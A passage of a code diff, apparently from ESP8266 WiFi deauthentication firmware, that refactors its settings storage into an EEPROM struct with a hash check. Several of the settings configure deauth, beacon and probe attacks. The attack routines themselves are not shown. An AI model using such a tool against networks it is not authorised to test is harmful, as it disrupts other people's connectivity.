Adafruit_NeoPixel strip = Adafruit_NeoPixel(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, NEO_RGB + NEO_KHZ400);
|
||||
#elif defined(LED_NEOPIXEL_GRB)
|
||||
Adafruit_NeoPixel strip = Adafruit_NeoPixel(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, NEO_GRB + NEO_KHZ400);
|
||||
#elif defined(LED_MY92)
|
||||
my92xx myled = my92xx(LED_MY92_MODEL, LED_MY92_NUM, LED_MY92_DATA, LED_MY92_CLK, MY92XX_COMMAND_DEFAULT);
|
||||
#endif // if defined(NEOPIXEL_LED)
|
||||
|
||||
void setColor(uint8_t r, uint8_t g, uint8_t b, bool output = false);
|
||||
|
||||
public:
|
||||
void setup();
|
||||
void update();
|
||||
void setMode(LED_MODE mode, bool force = false);
|
||||
};
|
||||
|
||||
#endif // ifndef LED_h
|
|
@ -23,7 +23,7 @@ extern String searchVendor(uint8_t* mac);
|
|||
extern String fixUtf8(String str);
|
||||
extern String leftRight(String a, String b, int len);
|
||||
extern String escape(String str);
|
||||
extern String bytesToStr(uint8_t* b, uint32_t size);
|
||||
extern String bytesToStr(const uint8_t* b, uint32_t size);
|
||||
|
||||
class Names {
|
||||
public:
|
||||
|
|
|
@ -126,7 +126,7 @@ void Scan::start(uint8_t mode, uint32_t time, uint8_t nextmode, uint32_t continu
|
|||
else if (mode == SCAN_MODE_OFF) {
|
||||
wifi_promiscuous_enable(false);
|
||||
|
||||
if (settings.getWebInterface()) resumeAP();
|
||||
if (settings.getWebSettings().enabled) resumeAP();
|
||||
prntln(SC_STOPPED);
|
||||
save(true);
|
||||
|
||||
|
@ -181,7 +181,7 @@ void Scan::update() {
|
|||
}
|
||||
|
||||
// channel hopping
|
||||
if (channelHop && (currentTime - snifferChannelTime > settings.getChTime())) {
|
||||
if (channelHop && (currentTime - snifferChannelTime > settings.getSnifferSettings().channel_time)) {
|
||||
snifferChannelTime = currentTime;
|
||||
|
||||
if (scanMode == SCAN_MODE_STATIONS) nextChannel(); // go to next channel an AP is on
|
||||
|
@ -410,23 +410,23 @@ uint32_t Scan::getPackets(int i) {
|
|||
|
||||
String Scan::getMode() {
|
||||
switch (scanMode) {
|
||||
case SCAN_MODE_OFF:
|
||||
return str(SC_MODE_OFF);
|
||||
case SCAN_MODE_OFF:
|
||||
return str(SC_MODE_OFF);
|
||||
|
||||
case SCAN_MODE_APS:
|
||||
return str(SC_MODE_AP);
|
||||
case SCAN_MODE_APS:
|
||||
return str(SC_MODE_AP);
|
||||
|
||||
case SCAN_MODE_STATIONS:
|
||||
return str(SC_MODE_ST);
|
||||
case SCAN_MODE_STATIONS:
|
||||
return str(SC_MODE_ST);
|
||||
|
||||
case SCAN_MODE_ALL:
|
||||
return str(SC_MODE_ALL);
|
||||
case SCAN_MODE_ALL:
|
||||
return str(SC_MODE_ALL);
|
||||
|
||||
case SCAN_MODE_SNIFFER:
|
||||
return str(SC_MODE_SNIFFER);
|
||||
case SCAN_MODE_SNIFFER:
|
||||
return str(SC_MODE_SNIFFER);
|
||||
|
||||
default:
|
||||
return String();
|
||||
default:
|
||||
return String();
|
||||
}
|
||||
}
|
||||
|
||||
|
|
|
@ -1,614 +1,314 @@
|
|||
#include "Settings.h"
|
||||
|
||||
Settings::Settings() {
|
||||
macSt = (uint8_t*)malloc(6);
|
||||
macAP = (uint8_t*)malloc(6);
|
||||
#include <Hash.h> // sha1() used in calcHash()
|
||||
#include "EEPROMHelper.h" // To load and save settings_t
|
||||
|
||||
// ===== INTERNAL ===== //
|
||||
bool operator==(settings_hash_t a, settings_hash_t b) {
|
||||
for (int i = 0; i<20; i++)
|
||||
if (a.hash[i] != b.hash[i]) return false;
|
||||
return true;
|
||||
}
|
||||
|
||||
void Settings::load() {
|
||||
DynamicJsonBuffer jsonBuffer(4000);
|
||||
bool operator==(version_t a, version_t b) {
|
||||
return a.major == b.major && a.minor == b.minor && a.revision == b.revision;
|
||||
}
|
||||
|
||||
// check & read file
|
||||
String json = getJsonStr();
|
||||
void jsonStr(String& str, const char* name, const char* value) {
|
||||
str += '"';
|
||||
str += String(name);
|
||||
str += '"';
|
||||
str += ':';
|
||||
str += '"';
|
||||
str += String(value);
|
||||
str += '"';
|
||||
str += ',';
|
||||
}
|
||||
|
||||
checkFile(FILE_PATH, json);
|
||||
JsonObject& data = parseJSONFile(FILE_PATH, jsonBuffer);
|
||||
void jsonFlag(String& str, const char* name, bool value) {
|
||||
str += '"';
|
||||
str += String(name);
|
||||
str += '"';
|
||||
str += ':';
|
||||
str += value ? String(S_JSON_TRUE) : String(S_JSON_FALSE);
|
||||
str += ',';
|
||||
}
|
||||
|
||||
// VERSION
|
||||
version = data.get<String>("version");
|
||||
void jsonValue(String& str, const char* name, int value) {
|
||||
str += '"';
|
||||
str += String(name);
|
||||
str += '"';
|
||||
str += ':';
|
||||
str += String(value);
|
||||
str += ',';
|
||||
}
|
||||
|
||||
// AP
|
||||
if (data.containsKey(keyword(S_SSID))) setSSID(data.get<String>(keyword(S_SSID)));
|
||||
if (data.containsKey(keyword(S_PASSWORD))) setPassword(data.get<String>(keyword(S_PASSWORD)));
|
||||
if (data.containsKey(keyword(S_CHANNEL))) setChannel(data.get<uint8_t>(keyword(S_CHANNEL)));
|
||||
if (data.containsKey(keyword(S_HIDDEN))) setHidden(data.get<bool>(keyword(S_HIDDEN)));
|
||||
if (data.containsKey(keyword(S_CAPTIVEPORTAL))) setCaptivePortal(data.get<bool>(keyword(S_CAPTIVEPORTAL)));
|
||||
void jsonHex(String& str, const char* name, uint8_t* byteArr, int len) {
|
||||
str += '"';
|
||||
str += String(name);
|
||||
str += '"';
|
||||
str += ':';
|
||||
|
||||
// GENERAL
|
||||
if (data.containsKey(keyword(S_LANG))) setLang(data.get<String>(keyword(S_LANG)));
|
||||
if (data.containsKey(keyword(S_DISPLAYINTERFACE))) setDisplayInterface(data.get<bool>(keyword(S_DISPLAYINTERFACE)));
|
||||
if (data.containsKey(keyword(S_DISPLAY_TIMEOUT))) setDisplayTimeout(data.get<uint32_t>(keyword(S_DISPLAY_TIMEOUT)));
|
||||
if (data.containsKey(keyword(S_SERIALINTERFACE))) setCLI(data.get<bool>(keyword(S_SERIALINTERFACE)));
|
||||
if (data.containsKey(keyword(S_SERIAL_ECHO))) setSerialEcho(data.get<bool>(keyword(S_SERIAL_ECHO)));
|
||||
if (data.containsKey(keyword(S_WEBINTERFACE))) setWebInterface(data.get<bool>(keyword(S_WEBINTERFACE)));
|
||||
if (data.containsKey(keyword(S_WEB_SPIFFS))) setWebSpiffs(data.get<bool>(keyword(S_WEB_SPIFFS)));
|
||||
if (data.containsKey(keyword(S_LEDENABLED))) setLedEnabled(data.get<bool>(keyword(S_LEDENABLED)));
|
||||
if (data.containsKey(keyword(S_MACAP))) setMacAP(data.get<String>(keyword(S_MACAP)));
|
||||
if (data.containsKey(keyword(S_MACST))) setMacSt(data.get<String>(keyword(S_MACST)));
|
||||
str += '"';
|
||||
|
||||
// SCAN
|
||||
if (data.containsKey(keyword(S_CHTIME))) setChTime(data.get<uint16_t>(keyword(S_CHTIME)));
|
||||
if (data.containsKey(keyword(S_MIN_DEAUTHS))) setMinDeauths(data.get<uint16_t>(keyword(S_MIN_DEAUTHS)));
|
||||
|
||||
// ATTACK
|
||||
if (data.containsKey(keyword(S_ATTACKTIMEOUT))) setAttackTimeout(data.get<uint32_t>(keyword(S_ATTACKTIMEOUT)));
|
||||
if (data.containsKey(keyword(S_FORCEPACKETS))) setForcePackets(data.get<uint8_t>(keyword(S_FORCEPACKETS)));
|
||||
if (data.containsKey(keyword(S_DEAUTHSPERTARGET))) setDeauthsPerTarget(data.get<uint16_t>(keyword(
|
||||
S_DEAUTHSPERTARGET)));
|
||||
|
||||
if (data.containsKey(keyword(S_DEAUTHREASON))) setDeauthReason(data.get<uint8_t>(keyword(S_DEAUTHREASON)));
|
||||
if (data.containsKey(keyword(S_BEACONCHANNEL))) setBeaconChannel(data.get<bool>(keyword(S_BEACONCHANNEL)));
|
||||
if (data.containsKey(keyword(S_BEACONINTERVAL))) setBeaconInterval(data.get<bool>(keyword(S_BEACONINTERVAL)));
|
||||
if (data.containsKey(keyword(S_RANDOMTX))) setRandomTX(data.get<bool>(keyword(S_RANDOMTX)));
|
||||
if (data.containsKey(keyword(S_PROBESPERSSID))) setProbesPerSSID(data.get<uint8_t>(keyword(S_PROBESPERSSID)));
|
||||
|
||||
if (version != VERSION) {
|
||||
// reset();
|
||||
copyWebFiles(true);
|
||||
version = VERSION;
|
||||
changed = true;
|
||||
for (int i = 0; i<len; i++) {
|
||||
if (i > 0) str += ':';
|
||||
if (byteArr[i] < 0x10) str += '0';
|
||||
str += String(byteArr[i], HEX);
|
||||
}
|
||||
|
||||
prnt(S_SETTINGS_LOADED);
|
||||
prntln(FILE_PATH);
|
||||
|
||||
// check and fix mac
|
||||
if (!macValid(macSt)) getRandomMac(macSt);
|
||||
|
||||
if (!macValid(macAP)) getRandomMac(macAP);
|
||||
|
||||
save(true); // force saving
|
||||
str += '"';
|
||||
str += ',';
|
||||
}
|
||||
|
||||
void Settings::load(String filepath) {
|
||||
String tmp = FILE_PATH;
|
||||
void jsonDec(String& str, const char* name, uint8_t* byteArr, int len) {
|
||||
str += '"';
|
||||
str += String(name);
|
||||
str += '"';
|
||||
str += ':';
|
||||
|
||||
FILE_PATH = filepath;
|
||||
load();
|
||||
FILE_PATH = tmp;
|
||||
str += '"';
|
||||
|
||||
for (int i = 0; i<len; i++) {
|
||||
if (i > 0) str += '.';
|
||||
str += String(byteArr[i]);
|
||||
}
|
||||
|
||||
str += '"';
|
||||
str += ',';
|
||||
}
|
||||
|
||||
// ========== PRIVATE ========== //
|
||||
settings_hash_t Settings::calcHash(settings_t data) {
|
||||
settings_hash_t hash;
|
||||
|
||||
sha1((uint8_t*)&data, sizeof(settings_t), &hash.hash[0]);
|
||||
return hash;
|
||||
}
|
||||
|
||||
String Settings::getJsonStr() {
|
||||
String str((char*)0);
|
||||
|
||||
str.reserve(600);
|
||||
|
||||
str += '{';
|
||||
|
||||
// Version
|
||||
jsonStr(str, S_JSON_VERSION, DEAUTHER_VERSION);
|
||||
|
||||
// Autosave
|
||||
jsonFlag(str, S_JSON_AUTOSAVE, data.autosave.enabled);
|
||||
jsonValue(str, S_JSON_AUTOSAVETIME, data.autosave.time);
|
||||
|
||||
// Attack
|
||||
jsonFlag(str, S_JSON_BEACONCHANNEL, data.attack.attack_all_ch);
|
||||
jsonFlag(str, S_JSON_RANDOMTX, data.attack.random_tx);
|
||||
jsonValue(str, S_JSON_ATTACKTIMEOUT, data.attack.timeout);
|
||||
jsonValue(str, S_JSON_DEAUTHSPERTARGET, data.attack.deauths_per_target);
|
||||
jsonValue(str, S_JSON_DEAUTHREASON, data.attack.deauth_reason);
|
||||
jsonFlag(str, S_JSON_BEACONINTERVAL, data.attack.beacon_interval == INTERVAL_1S);
|
||||
jsonValue(str, S_JSON_PROBESPERSSID, data.attack.probe_frames_per_ssid);
|
||||
|
||||
// WiFi
|
||||
jsonValue(str, S_JSON_CHANNEL, data.wifi.channel);
|
||||
jsonHex(str, S_JSON_MACST, data.wifi.mac_st, 6);
|
||||
jsonHex(str, S_JSON_MACAP, data.wifi.mac_ap, 6);
|
||||
|
||||
// Sniffer
|
||||
jsonValue(str, S_JSON_CHTIME, data.sniffer.channel_time);
|
||||
jsonValue(str, S_JSON_MIN_DEAUTHS, data.sniffer.min_deauth_frames);
|
||||
|
||||
// Access Point
|
||||
jsonStr(str, S_JSON_SSID, data.ap.ssid);
|
||||
jsonStr(str, S_JSON_PASSWORD, data.ap.password);
|
||||
jsonFlag(str, S_JSON_HIDDEN, data.ap.hidden);
|
||||
jsonDec(str, S_JSON_IP, data.ap.ip, 4);
|
||||
|
||||
// Web Interface
|
||||
jsonFlag(str, S_JSON_WEBINTERFACE, data.web.enabled);
|
||||
jsonFlag(str, S_JSON_CAPTIVEPORTAL, data.web.captive_portal);
|
||||
jsonFlag(str, S_JSON_WEB_SPIFFS, data.web.use_spiffs);
|
||||
jsonStr(str, S_JSON_LANG, data.web.lang);
|
||||
|
||||
// CLI
|
||||
jsonFlag(str, S_JSON_SERIALINTERFACE, data.cli.enabled);
|
||||
jsonFlag(str, S_JSON_SERIAL_ECHO, data.cli.serial_echo);
|
||||
|
||||
// LED
|
||||
jsonFlag(str, S_JSON_LEDENABLED, data.led.enabled);
|
||||
|
||||
// Display
|
||||
jsonFlag(str, S_JSON_DISPLAYINTERFACE, data.display.enabled);
|
||||
jsonValue(str, S_JSON_DISPLAY_TIMEOUT, data.display.timeout);
|
||||
|
||||
str[str.length()-1] = '}';
|
||||
|
||||
return str;
|
||||
}
|
||||
|
||||
// ========== PUBLIC ========== //
|
||||
void Settings::load() {
|
||||
prnt(S_SETTINGS_LOADED);
|
||||
|
||||
// read hash from eeprom
|
||||
settings_hash_t hash;
|
||||
|
||||
EEPROMHelper::getObject(SETTINGS_HASH_ADDR, hash);
|
||||
|
||||
// read data from eeproms
|
||||
settings_t newData;
|
||||
EEPROMHelper::getObject(SETTINGS_ADDR, newData);
|
||||
|
||||
// calc and check hash
|
||||
if ((newData.version == data.version) && (calcHash(newData) == hash)) {
|
||||
this->data = newData;
|
||||
prntln(S_OK);
|
||||
} else {
|
||||
prntln(S_INVALID_HASH);
|
||||
}
|
||||
|
||||
// check and fix mac
|
||||
if (!macValid(data.wifi.mac_st)) getRandomMac(data.wifi.mac_st);
|
||||
if (!macValid(data.wifi.mac_ap)) getRandomMac(data.wifi.mac_ap);
|
||||
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::reset() {
|
||||
// VERSION
|
||||
version = VERSION;
|
||||
settings_t newData;
|
||||
|
||||
// AP
|
||||
setSSID("pwned");
|
||||
setPassword("deauther");
|
||||
setChannel(9);
|
||||
setHidden(false);
|
||||
setCaptivePortal(true);
|
||||
|
||||
// GENERAL
|
||||
setLang("en");
|
||||
setAutosave(true);
|
||||
setAutosaveTime(10000);
|
||||
setDisplayInterface(USE_DISPLAY);
|
||||
setDisplayTimeout(600);
|
||||
setCLI(true);
|
||||
setSerialEcho(true);
|
||||
setWebInterface(true);
|
||||
setWebSpiffs(false);
|
||||
setLedEnabled(true);
|
||||
wifi_get_macaddr(STATION_IF, macSt);
|
||||
wifi_get_macaddr(SOFTAP_IF, macAP);
|
||||
|
||||
// SCAN
|
||||
setChTime(384);
|
||||
setMinDeauths(3);
|
||||
|
||||
// ATTACK
|
||||
setAttackTimeout(600);
|
||||
setForcePackets(3);
|
||||
setDeauthsPerTarget(20);
|
||||
setDeauthReason(1);
|
||||
setBeaconChannel(false);
|
||||
setBeaconInterval(false);
|
||||
setRandomTX(false);
|
||||
setProbesPerSSID(1);
|
||||
this->data = newData;
|
||||
|
||||
prntln(S_SETTINGS_RESETED);
|
||||
}
|
||||
|
||||
String Settings::getJsonStr() {
|
||||
DynamicJsonBuffer jsonBuffer(4000);
|
||||
JsonObject& data = jsonBuffer.createObject();
|
||||
|
||||
// Version
|
||||
data.set("version", VERSION);
|
||||
|
||||
// AP
|
||||
data.set(keyword(S_SSID), ssid);
|
||||
data.set(keyword(S_PASSWORD), password);
|
||||
data.set(keyword(S_CHANNEL), channel);
|
||||
data.set(keyword(S_HIDDEN), hidden);
|
||||
data.set(keyword(S_CAPTIVEPORTAL), captivePortal);
|
||||
|
||||
// GENERAL
|
||||
data.set(keyword(S_LANG), lang);
|
||||
data.set(keyword(S_AUTOSAVE), autosave);
|
||||
data.set(keyword(S_AUTOSAVETIME), autosaveTime);
|
||||
data.set(keyword(S_DISPLAYINTERFACE), displayInterface);
|
||||
data.set(keyword(S_DISPLAY_TIMEOUT), displayTimeout);
|
||||
data.set(keyword(S_SERIALINTERFACE), cli);
|
||||
data.set(keyword(S_SERIAL_ECHO), serialEcho);
|
||||
data.set(keyword(S_WEBINTERFACE), webInterface);
|
||||
data.set(keyword(S_WEB_SPIFFS), webSpiffs);
|
||||
data.set(keyword(S_LEDENABLED), ledEnabled);
|
||||
data.set(keyword(S_MACAP), macToStr(getMacAP()));
|
||||
data.set(keyword(S_MACST), macToStr(getMacSt()));
|
||||
|
||||
// SCAN
|
||||
data.set(keyword(S_CHTIME), chTime);
|
||||
data.set(keyword(S_MIN_DEAUTHS), minDeauths);
|
||||
|
||||
// ATTACK
|
||||
data.set(keyword(S_ATTACKTIMEOUT), attackTimeout);
|
||||
data.set(keyword(S_FORCEPACKETS), forcePackets);
|
||||
data.set(keyword(S_DEAUTHSPERTARGET), deauthsPerTarget);
|
||||
data.set(keyword(S_DEAUTHREASON), deauthReason);
|
||||
data.set(keyword(S_BEACONCHANNEL), beaconChannel);
|
||||
data.set(keyword(S_BEACONINTERVAL), beaconInterval);
|
||||
data.set(keyword(S_RANDOMTX), randomTX);
|
||||
data.set(keyword(S_PROBESPERSSID), probesPerSSID);
|
||||
|
||||
String buf;
|
||||
data.printTo(buf);
|
||||
|
||||
return buf;
|
||||
}
|
||||
|
||||
void Settings::save(bool force) {
|
||||
if (force || changed) {
|
||||
EEPROMHelper::saveObject(SETTINGS_HASH_ADDR, calcHash(data));
|
||||
EEPROMHelper::saveObject(SETTINGS_ADDR, data);
|
||||
|
||||
changed = false;
|
||||
|
||||
String buf = getJsonStr();
|
||||
|
||||
if (writeFile(FILE_PATH, buf)) {
|
||||
if (writeFile(SETTINGS_PATH, buf)) {
|
||||
prnt(S_SETTINGS_SAVED);
|
||||
prntln(FILE_PATH);
|
||||
changed = false;
|
||||
} else {
|
||||
prnt(F("ERROR: saving "));
|
||||
prntln(FILE_PATH);
|
||||
prnt(S_ERROR_SAVING);
|
||||
}
|
||||
prntln(SETTINGS_PATH);
|
||||
}
|
||||
}
|
||||
|
||||
void Settings::save(bool force, String filepath) {
|
||||
String tmp = FILE_PATH;
|
||||
|
||||
FILE_PATH = filepath;
|
||||
save(force);
|
||||
FILE_PATH = tmp;
|
||||
}
|
||||
|
||||
void Settings::print() {
|
||||
String settingsJson = getJsonStr();
|
||||
|
||||
settingsJson.replace("{", "{\r\n");
|
||||
settingsJson.replace("}", "\r\n}");
|
||||
settingsJson.replace("\":", " = ");
|
||||
settingsJson.replace("= 0\r\n", "= false\r\n");
|
||||
settingsJson.replace("= 1\r\n", "= true\r\n");
|
||||
settingsJson.replace("\"", "");
|
||||
settingsJson.replace("{", "");
|
||||
settingsJson.replace("}", "");
|
||||
settingsJson.replace(",", "\r\n");
|
||||
|
||||
prntln(S_SETTINGS_HEADER);
|
||||
prntln(settingsJson);
|
||||
}
|
||||
|
||||
void Settings::set(const char* str, String value) {
|
||||
// booleans
|
||||
if (eqls(str, S_BEACONCHANNEL)) setBeaconChannel(s2b(value));
|
||||
else if (eqls(str, S_AUTOSAVE)) setAutosave(s2b(value));
|
||||
else if (eqls(str, S_BEACONINTERVAL)) setBeaconInterval(s2b(value));
|
||||
else if (eqls(str, S_SERIALINTERFACE)) setCLI(s2b(value));
|
||||
else if (eqls(str, S_DISPLAYINTERFACE)) setDisplayInterface(s2b(value));
|
||||
else if (eqls(str, S_WEBINTERFACE)) setWebInterface(s2b(value));
|
||||
else if (eqls(str, S_RANDOMTX)) setRandomTX(s2b(value));
|
||||
else if (eqls(str, S_LEDENABLED)) setLedEnabled(s2b(value));
|
||||
else if (eqls(str, S_HIDDEN)) setHidden(s2b(value));
|
||||
else if (eqls(str, S_CAPTIVEPORTAL)) setCaptivePortal(s2b(value));
|
||||
else if (eqls(str, S_SERIAL_ECHO)) setSerialEcho(s2b(value));
|
||||
else if (eqls(str, S_WEB_SPIFFS)) setWebSpiffs(s2b(value));
|
||||
|
||||
// integer
|
||||
else if (eqls(str, S_FORCEPACKETS)) setForcePackets(value.toInt());
|
||||
else if (eqls(str, S_AUTOSAVETIME)) setAutosaveTime(value.toInt());
|
||||
else if (eqls(str, S_DEAUTHSPERTARGET)) setDeauthsPerTarget(value.toInt());
|
||||
else if (eqls(str, S_CHTIME)) setChTime(value.toInt());
|
||||
else if (eqls(str, S_CHANNEL)) setChannel(value.toInt());
|
||||
else if (eqls(str, S_DEAUTHREASON)) setDeauthReason(value.toInt());
|
||||
else if (eqls(str, S_ATTACKTIMEOUT)) setAttackTimeout(value.toInt());
|
||||
else if (eqls(str, S_PROBESPERSSID)) setProbesPerSSID(value.toInt());
|
||||
else if (eqls(str, S_MIN_DEAUTHS)) setMinDeauths(value.toInt());
|
||||
else if (eqls(str, S_DISPLAY_TIMEOUT)) setDisplayTimeout(value.toInt());
|
||||
|
||||
// strings
|
||||
else if (eqls(str, S_LANG)) setLang(value);
|
||||
else if (eqls(str, S_SSID)) setSSID(value);
|
||||
else if (eqls(str, S_PASSWORD)) setPassword(value);
|
||||
else if (eqls(str, S_MACAP)) setMacAP(value);
|
||||
else if (eqls(str, S_MACST)) setMacSt(value);
|
||||
else if (eqls(str, S_MAC) && value.equalsIgnoreCase("random")) {
|
||||
setMacSt(value);
|
||||
setMacAP(value);
|
||||
}
|
||||
|
||||
else if (eqls(str, S_VERSION)) prntln(S_ERROR_VERSION);
|
||||
|
||||
else {
|
||||
prnt(S_ERROR_NOT_FOUND);
|
||||
prntln(str);
|
||||
return;
|
||||
}
|
||||
|
||||
prnt(S_CHANGED_SETTING);
|
||||
prntln(str);
|
||||
}
|
||||
|
||||
String Settings::get(const char* str) {
|
||||
if (eqls(str, S_SETTINGS)) print();
|
||||
// booleans
|
||||
else if (eqls(str, S_BEACONCHANNEL)) return b2s(beaconChannel);
|
||||
else if (eqls(str, S_AUTOSAVE)) return b2s(autosave);
|
||||
else if (eqls(str, S_BEACONINTERVAL)) return b2s(beaconInterval);
|
||||
else if (eqls(str, S_SERIALINTERFACE)) return b2s(cli);
|
||||
else if (eqls(str, S_DISPLAYINTERFACE)) return b2s(displayInterface);
|
||||
else if (eqls(str, S_WEBINTERFACE)) return b2s(webInterface);
|
||||
else if (eqls(str, S_RANDOMTX)) return b2s(randomTX);
|
||||
else if (eqls(str, S_LEDENABLED)) return b2s(ledEnabled);
|
||||
else if (eqls(str, S_HIDDEN)) return b2s(hidden);
|
||||
else if (eqls(str, S_CAPTIVEPORTAL)) return b2s(captivePortal);
|
||||
else if (eqls(str, S_SERIAL_ECHO)) return b2s(serialEcho);
|
||||
else if (eqls(str, S_WEB_SPIFFS)) return b2s(webSpiffs);
|
||||
|
||||
// integer
|
||||
else if (eqls(str, S_FORCEPACKETS)) return (String)forcePackets;
|
||||
else if (eqls(str, S_AUTOSAVETIME)) return (String)autosaveTime;
|
||||
else if (eqls(str, S_DEAUTHSPERTARGET)) return (String)deauthsPerTarget;
|
||||
else if (eqls(str, S_CHTIME)) return (String)chTime;
|
||||
else if (eqls(str, S_ATTACKTIMEOUT)) return (String)attackTimeout;
|
||||
else if (eqls(str, S_CHANNEL)) return (String)channel;
|
||||
else if (eqls(str, S_DEAUTHREASON)) return (String)deauthReason;
|
||||
else if (eqls(str, S_PROBESPERSSID)) return (String)probesPerSSID;
|
||||
else if (eqls(str, S_MIN_DEAUTHS)) return (String)minDeauths;
|
||||
else if (eqls(str, S_DISPLAY_TIMEOUT)) return (String)displayTimeout;
|
||||
|
||||
// strings
|
||||
else if (eqls(str, S_SSID)) return ssid;
|
||||
else if (eqls(str, S_LANG)) return lang;
|
||||
else if (eqls(str, S_PASSWORD)) return password;
|
||||
else if (eqls(str, S_MACAP)) return macToStr(getMacAP());
|
||||
else if (eqls(str, S_MACST)) return macToStr(getMacSt());
|
||||
else if (eqls(str, S_MAC)) return "AP: " + macToStr(macAP) + ", Station: " + macToStr(macSt);
|
||||
else if (eqls(str, S_VERSION)) return version;
|
||||
|
||||
else {
|
||||
prnt(S_ERROR_NOT_FOUND);
|
||||
prntln(str);
|
||||
}
|
||||
|
||||
return "";
|
||||
}
|
||||
|
||||
// ===== GETTERS ===== //
|
||||
String Settings::getVersion() {
|
||||
return version;
|
||||
|
||||
const settings_t& Settings::getAllSettings() {
|
||||
return data;
|
||||
}
|
||||
|
||||
uint16_t Settings::getDeauthsPerTarget() {
|
||||
return deauthsPerTarget;
|
||||
const version_t& Settings::getVersion() {
|
||||
return data.version;
|
||||
}
|
||||
|
||||
uint8_t Settings::getDeauthReason() {
|
||||
return deauthReason;
|
||||
const autosave_settings_t& Settings::getAutosaveSettings() {
|
||||
return data.autosave;
|
||||
}
|
||||
|
||||
bool Settings::getBeaconChannel() {
|
||||
return beaconChannel;
|
||||
const attack_settings_t& Settings::getAttackSettings() {
|
||||
return data.attack;
|
||||
}
|
||||
|
||||
uint8_t Settings::getForcePackets() {
|
||||
return forcePackets;
|
||||
const wifi_settings_t& Settings::getWifiSettings() {
|
||||
return data.wifi;
|
||||
}
|
||||
|
||||
bool Settings::getAutosave() {
|
||||
return autosave;
|
||||
const sniffer_settings_t& Settings::getSnifferSettings() {
|
||||
return data.sniffer;
|
||||
}
|
||||
|
||||
uint32_t Settings::getAutosaveTime() {
|
||||
return autosaveTime;
|
||||
const access_point_settings_t& Settings::getAccessPointSettings() {
|
||||
return data.ap;
|
||||
}
|
||||
|
||||
bool Settings::getBeaconInterval() {
|
||||
return beaconInterval;
|
||||
const web_settings_t& Settings::getWebSettings() {
|
||||
return data.web;
|
||||
}
|
||||
|
||||
uint8_t Settings::getChannel() {
|
||||
return channel;
|
||||
const cli_settings_t& Settings::getCLISettings() {
|
||||
return data.cli;
|
||||
}
|
||||
|
||||
String Settings::getSSID() {
|
||||
return ssid;
|
||||
const led_settings_t& Settings::getLEDSettings() {
|
||||
return data.led;
|
||||
}
|
||||
|
||||
String Settings::getPassword() {
|
||||
return password;
|
||||
}
|
||||
|
||||
bool Settings::getCLI() {
|
||||
return cli;
|
||||
}
|
||||
|
||||
bool Settings::getDisplayInterface() {
|
||||
return displayInterface;
|
||||
}
|
||||
|
||||
bool Settings::getWebInterface() {
|
||||
return webInterface;
|
||||
}
|
||||
|
||||
uint16_t Settings::getChTime() {
|
||||
return chTime;
|
||||
}
|
||||
|
||||
uint8_t* Settings::getMacSt() {
|
||||
return macSt;
|
||||
}
|
||||
|
||||
uint8_t* Settings::getMacAP() {
|
||||
return macAP;
|
||||
}
|
||||
|
||||
bool Settings::getRandomTX() {
|
||||
return randomTX;
|
||||
}
|
||||
|
||||
uint32_t Settings::getAttackTimeout() {
|
||||
return attackTimeout;
|
||||
}
|
||||
|
||||
bool Settings::getLedEnabled() {
|
||||
return ledEnabled;
|
||||
}
|
||||
|
||||
uint8_t Settings::getProbesPerSSID() {
|
||||
return probesPerSSID;
|
||||
}
|
||||
|
||||
bool Settings::getHidden() {
|
||||
return hidden;
|
||||
}
|
||||
|
||||
bool Settings::getCaptivePortal() {
|
||||
return captivePortal;
|
||||
}
|
||||
|
||||
uint16_t Settings::getMinDeauths() {
|
||||
return minDeauths;
|
||||
}
|
||||
|
||||
uint32_t Settings::getDisplayTimeout() {
|
||||
return displayTimeout;
|
||||
}
|
||||
|
||||
String Settings::getLang() {
|
||||
return lang;
|
||||
}
|
||||
|
||||
bool Settings::getSerialEcho() {
|
||||
return serialEcho;
|
||||
}
|
||||
|
||||
bool Settings::getWebSpiffs() {
|
||||
return webSpiffs;
|
||||
const display_settings_t& Settings::getDisplaySettings() {
|
||||
return data.display;
|
||||
}
|
||||
|
||||
// ===== SETTERS ===== //
|
||||
|
||||
void Settings::setDeauthsPerTarget(uint16_t deauthsPerTarget) {
|
||||
Settings::deauthsPerTarget = deauthsPerTarget;
|
||||
void Settings::setAllSettings(settings_t& newSettings) {
|
||||
newSettings.version = this->data.version;
|
||||
data = newSettings;
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setAutosaveSettings(const autosave_settings_t& autosave) {
|
||||
data.autosave = autosave;
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setAttackSettings(const attack_settings_t& attack) {
|
||||
data.attack = attack;
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setWifiSettings(const wifi_settings_t& wifi) {
|
||||
data.wifi = wifi;
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setSnifferSettings(const sniffer_settings_t& sniffer) {
|
||||
data.sniffer = sniffer;
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setAccessPointSettings(const access_point_settings_t& ap) {
|
||||
data.ap = ap;
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setDeauthReason(uint8_t deauthReason) {
|
||||
Settings::deauthReason = deauthReason;
|
||||
|
||||
changed = true;
|
||||
void Settings::setWebSettings(const web_settings_t& web) {
|
||||
data.web = web;
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setBeaconChannel(bool beaconChannel) {
|
||||
Settings::beaconChannel = beaconChannel;
|
||||
|
||||
changed = true;
|
||||
void Settings::setCLISettings(const cli_settings_t& cli) {
|
||||
data.cli = cli;
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setForcePackets(uint8_t forcePackets) {
|
||||
if (forcePackets > 0) {
|
||||
Settings::forcePackets = forcePackets;
|
||||
changed = true;
|
||||
}
|
||||
void Settings::setLEDSettings(const led_settings_t& led) {
|
||||
data.led = led;
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setAutosave(bool autosave) {
|
||||
Settings::autosave = autosave;
|
||||
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setAutosaveTime(uint32_t autosaveTime) {
|
||||
Settings::autosaveTime = autosaveTime;
|
||||
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setBeaconInterval(bool beaconInterval) {
|
||||
Settings::beaconInterval = beaconInterval;
|
||||
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Settings::setChannel(uint8_t channel) {
|
||||
